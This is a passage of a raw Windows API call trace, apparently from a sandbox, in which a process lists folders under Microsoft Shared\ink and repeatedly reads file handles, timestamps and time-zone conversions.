[0071.079] CloseHandle (hObject=0x178) returned 1 [0071.079] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.079] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.079] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.080] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.080] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.080] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.080] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.080] CloseHandle (hObject=0x178) returned 1 [0071.080] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.080] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.080] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.080] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.080] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.080] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.080] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.080] CloseHandle (hObject=0x178) returned 1 [0071.081] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0071.081] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0071.081] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0071.081] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0071.081] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0071.082] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0071.082] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0071.082] CloseHandle (hObject=0x174) returned 1 [0071.082] GetFileType (hFile=0x174) returned 0x1 [0071.087] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7bb8560, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7bb8560, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.088] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.088] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.088] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.088] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.088] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.088] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.088] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.088] CloseHandle (hObject=0x178) returned 1 [0071.088] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0071.088] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0071.089] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0071.089] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0071.089] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0071.089] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0071.089] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0071.089] CloseHandle (hObject=0x174) returned 1 [0071.089] GetFileType (hFile=0x198) returned 0x1 [0071.094] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7bb8560, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7bb8560, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.094] GetFileType (hFile=0x198) returned 0x1 [0071.099] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7bb8560, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7bb8560, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.100] GetFileType (hFile=0x198) returned 0x1 [0071.104] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7bde6c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7bde6c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.105] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.105] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.105] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.105] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.105] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.105] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.105] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.105] CloseHandle (hObject=0x198) returned 1 [0071.107] GetFileType (hFile=0x198) returned 0x1 [0071.112] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa7bde6c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7bde6c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.113] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.113] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.113] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.113] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.113] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.113] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.113] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.113] CloseHandle (hObject=0x198) returned 1 [0071.114] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.114] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.114] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.114] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.114] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.114] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.114] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.114] CloseHandle (hObject=0x198) returned 1 [0071.115] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.115] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.115] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.115] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.115] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.115] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.115] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.115] CloseHandle (hObject=0x198) returned 1 [0071.116] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.116] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.116] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.116] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.116] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.116] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.116] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.116] CloseHandle (hObject=0x198) returned 1 [0071.116] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.116] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.117] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.117] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.117] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.117] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.117] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.117] CloseHandle (hObject=0x198) returned 1 [0071.117] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.117] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.117] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.117] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.117] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.117] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.117] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.117] CloseHandle (hObject=0x198) returned 1 [0071.118] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.118] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.118] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.118] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.118] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.118] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.118] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.118] CloseHandle (hObject=0x198) returned 1 [0071.119] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.119] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.119] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.119] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.119] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.119] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.119] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.119] CloseHandle (hObject=0x198) returned 1 [0071.119] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.119] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.119] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.119] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.119] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.119] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.119] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.120] CloseHandle (hObject=0x198) returned 1 [0071.120] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.121] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.121] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.121] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.121] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.121] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.121] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.121] CloseHandle (hObject=0x198) returned 1 [0071.121] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.121] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.121] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.121] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.121] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.121] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.121] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.121] CloseHandle (hObject=0x198) returned 1 [0071.122] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.122] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.122] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.122] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.122] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.122] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.122] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.122] CloseHandle (hObject=0x198) returned 1 [0071.122] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.123] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.123] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.123] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.123] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.123] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.123] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.123] CloseHandle (hObject=0x198) returned 1 [0071.124] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.124] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.124] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.124] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.124] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.124] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.124] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.124] CloseHandle (hObject=0x198) returned 1 [0071.124] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.124] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0071.124] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0071.125] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0071.125] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0071.125] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0071.125] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0071.125] CloseHandle (hObject=0x198) returned 1 [0071.125] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0071.125] FileTimeToSystemTime (in: 